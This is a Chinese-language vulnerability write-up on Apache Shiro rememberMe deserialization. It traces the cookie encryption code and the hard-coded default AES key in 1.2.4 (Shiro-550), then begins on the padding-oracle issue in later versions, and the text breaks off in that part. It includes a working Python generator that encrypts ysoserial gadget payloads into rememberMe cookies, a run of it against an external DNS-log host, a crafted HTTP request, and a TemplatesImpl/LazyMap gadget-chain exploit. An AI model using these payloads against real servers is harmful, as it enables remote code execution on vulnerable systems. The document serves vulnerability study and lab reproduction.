官方文档:https://shiro.apache.org/
Apache Shiro™ is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. With Shiro’s easy-to-understand API, you can quickly and easily secure any application – from the smallest mobile applications to the largest web and enterprise applications.
Apache Shiro是Java中的一个安全框架,可以执行身份验证、授权、加密和会话管理。
关于漏洞:https://shiro.apache.org/security-reports.html
地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
使用IDEA打开文件夹,修改samples中web目录下的pom.xml
<dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <!-- <scope>provided</scope> --> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>net.sourceforge.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>2.6</version> <!-- <scope>test</scope> --> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> </dependency> <dependency> <groupId>org.mortbay.jetty</groupId> <artifactId>jetty</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.mortbay.jetty</groupId> <artifactId>jsp-2.1-jetty</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>jcl-over-slf4j</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
使用maven3.1.1版本,使用jdk1.6进行package
成功打包war包后,启动tomcat运行
搭建成功界面
使用用户名和密码进行登录,登录时需要点击“Remember Me”
抓包分析
在org/apache/shiro/web/mgt/CookieRememberMeManager类的rememberSerializedIdentity函数下断点,从函数字面可以猜测这应该是cookie设置的地方
函数调用栈:
rememberSerializedIdentity:156, CookieRememberMeManager (org.apache.shiro.web.mgt) rememberIdentity:347, AbstractRememberMeManager (org.apache.shiro.mgt) rememberIdentity:321, AbstractRememberMeManager (org.apache.shiro.mgt) onSuccessfulLogin:297, AbstractRememberMeManager (org.apache.shiro.mgt) rememberMeSuccessfulLogin:206, DefaultSecurityManager (org.apache.shiro.mgt) onSuccessfulLogin:291, DefaultSecurityManager (org.apache.shiro.mgt) login:285, DefaultSecurityManager (org.apache.shiro.mgt) login:256, DelegatingSubject (org.apache.shiro.subject.support) executeLogin:53, AuthenticatingFilter (org.apache.shiro.web.filter.authc) onAccessDenied:154, FormAuthenticationFilter (org.apache.shiro.web.filter.authc) onAccessDenied:133, AccessControlFilter (org.apache.shiro.web.filter) onPreHandle:162, AccessControlFilter (org.apache.shiro.web.filter) isFilterChainContinued:203, PathMatchingFilter (org.apache.shiro.web.filter) preHandle:178, PathMatchingFilter (org.apache.shiro.web.filter) doFilterInternal:131, AdviceFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet) executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet) call:365, AbstractShiroFilter$1 (org.apache.shiro.web.servlet) doCall:90, SubjectCallable (org.apache.shiro.subject.support) call:83, SubjectCallable (org.apache.shiro.subject.support) execute:383, DelegatingSubject (org.apache.shiro.subject.support) doFilterInternal:362, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) invoke:167, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:492, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:673, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:343, CoyoteAdapter (org.apache.catalina.connector) service:389, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:832, Thread (java.lang)
从正向开始分析,从onSuccessfulLogin方法开始
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) { //always clear any previous identity: //清除之前的身份信息 forgetIdentity(subject); //now save the new identity: //检查登入令牌是否请求了“Remeber Me”功能 if (isRememberMe(token)) { //根据相关的信息生成新的身份信息 rememberIdentity(subject, token, info); } else { if (log.isDebugEnabled()) { log.debug("AuthenticationToken did not indicate RememberMe is requested. " + "RememberMe functionality will not be executed for corresponding account."); } } }
可以进入isRememberMe方法查看如何进行判断的
protected boolean isRememberMe(AuthenticationToken token) { // 第一个条件检查的是令牌是否为空 // 第二个条件检查的是登录令牌token是否是RememberMeAuthenticationToken类型实例 // 第三个条件是进一步调用实例中的isRememberMe方法 return token != null && (token instanceof RememberMeAuthenticationToken) && ((RememberMeAuthenticationToken) token).isRememberMe(); }
token是UsernamePasswordToken类对象,所以进入到此对象的isRememberMe方法
public boolean isRememberMe() { return rememberMe; }
进入if条件中的rememberIdentity函数
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) { // 从身份验证信息中提取用户的主体身份信息 PrincipalCollection principals = getIdentityToRemember(subject, authcInfo); // 将用户的主体身份信息保存起来 rememberIdentity(subject, principals); }
进入重载的rememberIdentity函数
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) { // 将主体身份信息转换为字节数组(byte[])的形式 byte[] bytes = convertPrincipalsToBytes(accountPrincipals); // 将序列化后的身份信息保存起来,以便在下次需要恢复用户身份时使用 rememberSerializedIdentity(subject, bytes); }
这里的关键是进入convertPrincipalsToBytes方法,通过这个函数将身份的相关信息转换成了byte数组
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) { // 先将身份信息进行序列化,转换成字节流 byte[] bytes = serialize(principals); // getCipherService获取密码服务的实例 if (getCipherService() != null) { // 对序列化后的字节流进行加密 bytes = encrypt(bytes); } return bytes; }
先来了解getCipherService函数
public CipherService getCipherService() { return cipherService; }
其实就是返回一个类的属性,查看该类的构造函数观察对应属性的赋值
public AbstractRememberMeManager() { // 创建一个默认的序列化器 this.serializer = new DefaultSerializer<PrincipalCollection>(); // 创建一个AES加密算法的密码服务 this.cipherService = new AesCipherService(); // 设置密钥 setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
根据类名应该可以得知这里使用的是AES算法,从上下文可以获得固定在源码中的密钥
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
获取到加密的服务之后,进入if中调用encrypt函数进行加密
protected byte[] encrypt(byte[] serialized) { // 序列化后的身份信息 byte[] value = serialized; // 获取密码服务的实例 CipherService cipherService = getCipherService(); if (cipherService != null) { // 调用加密算法,对序列化的数据进行加密 ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
进入encrypt方法,这里进入的是JcaCipherService类的encrypt方法
public ByteSource encrypt(byte[] plaintext, byte[] key) { // 用于存储初始化向量 byte[] ivBytes = null; // 用于检查是否启用了生成初始化向量的选项 boolean generate = isGenerateInitializationVectors(false); if (generate) { // 生成初始化向量 ivBytes = generateInitializationVector(false); if (ivBytes == null || ivBytes.length == 0) { throw new IllegalStateException("Initialization vector generation is enabled - generated vector" + "cannot be null or empty."); } } // 调用重载的加密方法 return encrypt(plaintext, key, ivBytes, generate); }
初始iv是如何生成的?
查看generateInitializationVector方法
protected byte[] generateInitializationVector(boolean streaming) { // 获取初始向量的大小 int size = getInitializationVectorSize(); if (size <= 0) { String msg = "initializationVectorSize property must be greater than zero. This number is " + "typically set in the " + CipherService.class.getSimpleName() + " subclass constructor. " + "Also check your configuration to ensure that if you are setting a value, it is positive."; throw new IllegalStateException(msg); } // 初始向量大小需要是8的倍数 BITS_PER_BYTE表示8 if (size % BITS_PER_BYTE != 0) { String msg = "initializationVectorSize property must be a multiple of 8 to represent as a byte array."; throw new IllegalStateException(msg); } // 字节数 int sizeInBytes = size / BITS_PER_BYTE; // 创建字节数组 byte[] ivBytes = new byte[sizeInBytes]; // 获取一个安全的随机数生成器 SecureRandom random = ensureSecureRandom(); // 使用随机数生成器生成随机字节 random.nextBytes(ivBytes); return ivBytes; }
查看向量大小的生成getInitializationVectorSize方法
public int getInitializationVectorSize() { return initializationVectorSize; }
返回一个属性值,查看其构造方法
protected JcaCipherService(String algorithmName) { if (!StringUtils.hasText(algorithmName)) { throw new IllegalArgumentException("algorithmName argument cannot be null or empty."); } this.algorithmName = algorithmName; this.keySize = DEFAULT_KEY_SIZE; // DEFAULT_KEY_SIZE指128 this.initializationVectorSize = DEFAULT_KEY_SIZE; //default to same size as the key size (a common algorithm practice) this.streamingBufferSize = DEFAULT_STREAMING_BUFFER_SIZE; this.generateInitializationVectors = true; }
综上所述,这里的iv是随机生成的16位字节
进入重载的encrypt方法
private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException { // 加密模式 final int MODE = javax.crypto.Cipher.ENCRYPT_MODE; byte[] output; if (prependIv && iv != null && iv.length > 0) { // 加密操作 byte[] encrypted = crypt(plaintext, key, iv, MODE); output = new byte[iv.length + encrypted.length]; //now copy the iv bytes + encrypted bytes into one output array: // iv bytes: System.arraycopy(iv, 0, output, 0, iv.length); // + encrypted bytes: System.arraycopy(encrypted, 0, output, iv.length, encrypted.length); } else { output = crypt(plaintext, key, iv, MODE); } if (log.isTraceEnabled()) { log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ". Ciphertext " + "byte array is size " + (output != null ? output.length : 0)); } // 将加密结果转换为 ByteSource 对象并返回 return ByteSource.Util.bytes(output); }
继续进入crypt函数
private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException { if (key == null || key.length == 0) { throw new IllegalArgumentException("key argument cannot be null or empty."); } javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false); return crypt(cipher, bytes); }
这里其实就是AES内部的加密细节了
encrypt函数执行到最后结果如下:
得到加密后的结果,回到rememberIdentity函数
进入rememberSerializedIdentity函数
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) { if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " + "request and response in order to set the rememberMe cookie. Returning immediately and " + "ignoring rememberMe operation."; log.debug(msg); } return; } HttpServletRequest request = WebUtils.getHttpRequest(subject); HttpServletResponse response = WebUtils.getHttpResponse(subject); //base 64 encode it and store as a cookie: String base64 = Base64.encodeToString(serialized); Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies Cookie cookie = new SimpleCookie(template); cookie.setValue(base64); cookie.saveTo(request, response); }
设置cooike成功
总结:身份信息进行序列化——>AES加密——>Base64加密——>cookie中的remeberMe
函数调用栈:
decrypt:386, JcaCipherService (org.apache.shiro.crypto) decrypt:382, JcaCipherService (org.apache.shiro.crypto) decrypt:489, AbstractRememberMeManager (org.apache.shiro.mgt) convertBytesToPrincipals:429, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt) resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt) createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt) buildSubject:846, Subject$Builder (org.apache.shiro.subject) buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject) createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) invoke:167, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:492, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:673, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:343, CoyoteAdapter (org.apache.catalina.connector) service:389, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:832, Thread (java.lang)
使用前面生成的remeberMe的cookie值进行请求
curl -X GET -H "cookie:rememberMe=jCmif8/p5A+C+p5PwHTlOWNsUCikdqRc5mLEb1PsaBvuroIawHP/03Zenr4iVKL3RsWjWCt3YkFsVXQKf4pkQLwPRUa4M9gzUuEmUZfR8U2YsXXETs8oYxatlg7IovW9/eM/jyqjWZ5sYQT7me+DY2lDSUasvbZofwaApRLrDw0xxM79I6XNpz0nlCkuAdWsZvS8ghAZyByl/UAWITIxbeNF6vWnwjsTcHtskaZ0QBwh4BGreNrVAh0dbl5Ah8U3BEID3yndJ9y7lbIT/QQTvfFgim6Rjh3TQaFIC6Dt+rxO782rJ4dkswpf3UOih35I47Vm/LcJzrvnxNlMQyPa8ttHMZEVsfh8mSKAeePyzkkM5j6yeY764AAH160CD1e8DXJlz6gyo+1bCJqmvDgPPfoIRPCVPsNlDUipANkGqYZvk9A8diXf3EiOuuvebbFuPsmYPsFWdiVnoV6Q9z+iHfO19mojLNsDHdeyQEHYE5FvsPrqPGnsaJc9NUBqNpOb; Phpstorm-10d910bb=a6bc0397-210c-4145-96b8-e9aedf363376" http://localhost:8090/samples_web_war/
在AbstractRememberMeManager类的getRememberedPrincipals方法中下断点
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { // 获取被记住的主体身份的序列化字节数组 byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { // 将序列化字节数组转换为主体身份集合 principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
进入getRememberedSerializedIdentity函数
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation."; log.debug(msg); } return null; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null; } // 获取Servlet请求对象 HttpServletRequest request = WebUtils.getHttpRequest(wsc); // 获取Servlet响应对象 HttpServletResponse response = WebUtils.getHttpResponse(wsc); // 从请求中读取 cookie 的值 String base64 = getCookie().readValue(request, response); // Browsers do not always remove cookies immediately (SHIRO-183) // ignore cookies that are scheduled for removal if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null; if (base64 != null) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]"); } // 将 Base64 编码的字符串解码为字节数组 byte[] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes."); } return decoded; } else { //no cookie set - new site visitor? return null; } }
进入convertBytesToPrincipals方法
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { // 获取加密服务对象 if (getCipherService() != null) { // 解密 bytes = decrypt(bytes); } // 对解密后的结果进行反序列化 return deserialize(bytes); }
进入decrypt函数
protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { // 调用解密方法进行解密 ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
进入到JcaCipherService类的decrypt方法
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { byte[] encrypted = ciphertext; //No IV, check if we need to read the IV from the stream: byte[] iv = null; if (isGenerateInitializationVectors(false)) { try { //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it //is: // - the first N bytes is the initialization vector, where N equals the value of the // 'initializationVectorSize' attribute. // - the remaining bytes in the method argument (arg.length - N) is the real cipher text. //So we need to chunk the method argument into its constituent parts to find the IV and then use //the IV to decrypt the real ciphertext: int ivSize = getInitializationVectorSize(); int ivByteSize = ivSize / BITS_PER_BYTE; //now we know how large the iv is, so extract the iv bytes: iv = new byte[ivByteSize]; System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); //remaining data is the actual encrypted ciphertext. Isolate it: int encryptedSize = ciphertext.length - ivByteSize; encrypted = new byte[encryptedSize]; System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize); } catch (Exception e) { String msg = "Unable to correctly extract the Initialization Vector or ciphertext."; throw new CryptoException(msg, e); } } return decrypt(encrypted, key, iv); }
这里的函数的大概意思是将传入的ciphertext分成iv和encrypted两部分,在传入重载的decrypt中进行解密
private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException { if (log.isTraceEnabled()) { log.trace("Attempting to decrypt incoming byte array of length " + (ciphertext != null ? ciphertext.length : 0)); } byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE); return decrypted == null ? null : ByteSource.Util.bytes(decrypted); }
这里面就是进行AES解密的部分
回到convertBytesToPrincipals函数部分
进入deserialize中
protected PrincipalCollection deserialize(byte[] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); }
这里的getSerializer即获取序列化器,然后调用反序列化函数
public T deserialize(byte[] serialized) throws SerializationException { if (serialized == null) { String msg = "argument cannot be null."; throw new IllegalArgumentException(msg); } ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); @SuppressWarnings({"unchecked"}) // 重点是这里 调用了readObject函数,也是触发各种恶意链的地方 T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array."; throw new SerializationException(msg, e); } }
最后返回至getRememberedPrincipals函数,得到了principal实例对象
下面就是身份验证的步骤了
总结:
获取remeberMe的值——>base64解密——>AES解密——>反序列化
生成remeberMe的cookie值
# -*- coding:utf-8 -*- import base64 import uuid import subprocess import optparse from Crypto.Cipher import AES def remeberMe(command, ysoserial_path): #popen = subprocess.Popen(['java', '-jar', ysoserial_path, 'URLDNS', command], stdout=subprocess.PIPE) if len(command) <= 0: return None arr = ['java', '-jar', ysoserial_path] + command # print(arr) popen = subprocess.Popen(arr, stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-p path-ysoserial] [-m method] [-c command]') parse.add_option('-p', '--path-ysoserial', dest='path', help='path ysoserial', default='ysoserial.jar') parse.add_option('-c', '--command', dest='command', help='command') parse.add_option('-m', '--method', dest='method', help='ysoserial method') options, args = parse.parse_args() if not options.command or not options.method: print('Usage:python3 generate_remeberMe.py [-c command] [-m method]\n') exit('generate_remeberMe.py:error:missing a mandatory option(-c,-m).Use -h for basic and -hh for advanced help') args_list = [options.method, options.command] print(args_list) payload = remeberMe(args_list, options.path) with open("./payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode())) res = "rememberMe={}".format(payload.decode()) fpw.write(res)
运行脚本
python3 generate_remeberMe.py -p ../ysoserial-all.jar -m URLDNS -c http://q3kbhojx.eyes.sh
生成的cookie值
rememberMe=zCmIVaHZRWaEDgG4ai9KtSyUBRDy64H02wKgeXOeABaFiUbjOXTdpaqi42ete4k8xF0C1u0HpWFOccMjPvGMmzgu7/wSbi4tYDGSanE+aVQU9VYD/L2mdOQyqYliPNelAmbnTNl8tVnQEA9wAbVDrvdJOObIeLNiHweoY6d7iOOXBym5GTjFrvI/5+/bZ6PABVkVySJsjEOzs7cJdYI6JVyqnEVFwoZnWNDAj9oSwOkxsmKQ5zyV8WZQOD8ywANAotwPYrOGG21E9/50FJbOBCGhwxr4sCyrn2Y1GrG4DdZ37ykK+ebAJd7gQEMdlvbegYGn2v2fTGbwgpGEHC41q2Km1r62PRR3wJ99sp85yrX1unQdMVW0K+KAXvTEaIjRkVflhpgmA0v2A9L+G2rRfg==
发送包进行请求
GET /samples_web_war/ HTTP/1.1
Host: 192.168.3.136:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=2B290CC9ACB7DC118345F067BAB9693C; rememberMe=zCmIVaHZRWaEDgG4ai9KtSyUBRDy64H02wKgeXOeABaFiUbjOXTdpaqi42ete4k8xF0C1u0HpWFOccMjPvGMmzgu7/wSbi4tYDGSanE+aVQU9VYD/L2mdOQyqYliPNelAmbnTNl8tVnQEA9wAbVDrvdJOObIeLNiHweoY6d7iOOXBym5GTjFrvI/5+/bZ6PABVkVySJsjEOzs7cJdYI6JVyqnEVFwoZnWNDAj9oSwOkxsmKQ5zyV8WZQOD8ywANAotwPYrOGG21E9/50FJbOBCGhwxr4sCyrn2Y1GrG4DdZ37ykK+ebAJd7gQEMdlvbegYGn2v2fTGbwgpGEHC41q2Km1r62PRR3wJ99sp85yrX1unQdMVW0K+KAXvTEaIjRkVflhpgmA0v2A9L+G2rRfg==
Connection: close
最后会在DNS平台上出现请求记录
发送包后代码的具体执行如上述cookie解密过程一致,先对设置的payload进行base64解密,然后再对其进行AES解密,最后将得到的字节码进行反序列化操作,调用readObject函数,触发URLDNS链
再使用ObjectInputStream类的readObject函数进行反序列化的过程中,其中会进行resolveClass方法来查找类;在ObjectInputStream类的resolveClass方法中通过Class.forName来获取当前描述器所指代的类的Class对象,但是Shiro中重写了ObjectInputStream类的resolveClass方法,它采用的是ClassUtils.forName来查找
查看ClassResolvingObjectInputStream类的resolveClass函数
@Override protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e); } }
进入ClassUtils.forName函数
public static Class forName(String fqcn) throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader..."); } clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader..."); } clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; throw new UnknownClassException(msg); } return clazz; }
这里接受的参数类型是String类型,如果传入的是Transform数组,会报错,具体的细节在THREAD_CL_ACCESSOR.loadClass中
这里引入commons-collections:4.0,CC2链使用的是非数组形式,所以可以利用成功
与此同时,Shiro中自带的CommonsBeanutils组件也可使用对应的CB链去利用
参考wh1t3p1g文章,exp如下:
final Object templates = Gadgets.createTemplatesImpl(command);// 构造带有evil class bytes的TemplatesImpl // 构造InvokerTransformer,填充无害的toString函数 final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); final Map innerMap = new HashMap(); // 构造LazyMap的factory为前面的InvokerTransformer final Map lazyMap = LazyMap.decorate(innerMap, transformer); // 填充TiedMapEntry的map(lazyMap)和key(TemplatesImpl) TiedMapEntry entry = new TiedMapEntry(lazyMap, templates); HashSet map = new HashSet(1); map.add("foo"); // 下述代码将entry填充到HashSet的node的key上,可以使得HashSet在put的时候调用TiedMapEntry的hashCode函数 Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = null; innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = new Object[0]; array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry); // 将最终的触发函数newTransformer装载到InvokerTransformer上 Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); return map;
参考:https://www.anquanke.com/post/id/192619
在Shiro1.2.5中,将默认的key改成了动态key,但还是存在反序列化问题
编号:CVE-2019-12422
影响版本:Apache Shiro <= 1.4.1
流程:
版本下载地址:https://github.com/apache/shiro/releases/tag/shiro-root-1.4.1
导入IDEA,加载包,启动Tomact,直接运行即可
在Shiro550中,密钥直接写在源码中,而在Shiro721中,密钥动态生成
查看
public AbstractRememberMeManager() { this.serializer = new DefaultSerializer<PrincipalCollection>(); AesCipherService cipherService = new AesCipherService(); this.cipherService = cipherService; setCipherKey(cipherService.generateNewKey().getEncoded()); }
查看generateNewKey方法
public Key generateNewKey() { return generateNewKey(getKeySize()); }
其中这里的getKeySize是获取key的长度
再进入到重载的generateNewKey方法
public Key generateNewKey(int keyBitSize) { KeyGenerator kg; try { // 根据算法名字初始化一个密钥生成器对象 kg = KeyGenerator.getInstance(getAlgorithmName()); } catch (NoSuchAlgorithmException e) { String msg = "Unable to acquire " + getAlgorithmName() + " algorithm. This is required to function."; throw new IllegalStateException(msg, e); } // 初始化 kg.init(keyBitSize); return kg.generateKey(); }
进入init方法
public final void init(int var1) { this.init(var1, JceSecurity.RANDOM); }
这里的var1指的是key的长度,即128,调用重载方法init
public final void init(int var1, SecureRandom var2) { // var1表示key的大小 // var2表示用于生成随机数的安全随机数生成器 if (this.serviceIterator == null) { this.spi.engineInit(var1, var2); } else { // 如果"serviceIterator"不为null,表示有多个服务提供者实现可用。在这种情况下,会进入一个循环,不断尝试调用不同的服务提供者实现来初始化密钥生成器 RuntimeException var3 = null; KeyGeneratorSpi var4 = this.spi; while(true) { try { // 初始化密钥生成器 var4.engineInit(var1, var2); this.initType = 4; this.initKeySize = var1; this.initParams = null; this.initRandom = var2; return; } catch (RuntimeException var6) { if (var3 == null) { var3 = var6; } // 取下一个可用的服务提供者实现 var4 = this.nextSpi(var4, false); if (var4 == null) { throw var3; } } } } }
这个方法主要是用于获取初始化密钥生成器
回到generateNewKey方法,初始化完成后,调用generateKey方法
public final SecretKey generateKey() { if (this.serviceIterator == null) { return this.spi.engineGenerateKey(); } else { RuntimeException var1 = null; KeyGeneratorSpi var2 = this.spi; while(true) { try { // 生成密钥 return var2.engineGenerateKey(); } catch (RuntimeException var4) { if (var1 == null) { var1 = var4; } var2 = this.nextSpi(var2, true); if (var2 == null) { throw var1; } } } } }
进入到engineGenerateKey方法
protected SecretKey engineGenerateKey() { SecretKeySpec var1 = null; if (this.random == null) { this.random = SunJCE.getRandom(); } byte[] var2 = new byte[this.keySize]; this.random.nextBytes(var2); var1 = new SecretKeySpec(var2, "AES"); return var1; }
随机生成相应长度的key后,返回SecretKeySpec对象
最后再回到AbstractRememberMeManager的构造函数使用getEncoded方法获取密钥序列
public byte[] getEncoded() { return (byte[])this.key.clone(); }
原理:https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/
https://goodapple.top/archives/217
这是一种类似于SQL盲注的攻击方法,所以需要寻找到返回结果的不同状态
Padding错误时返回的状态:
回到AbstractRememberMeManager的解密函数
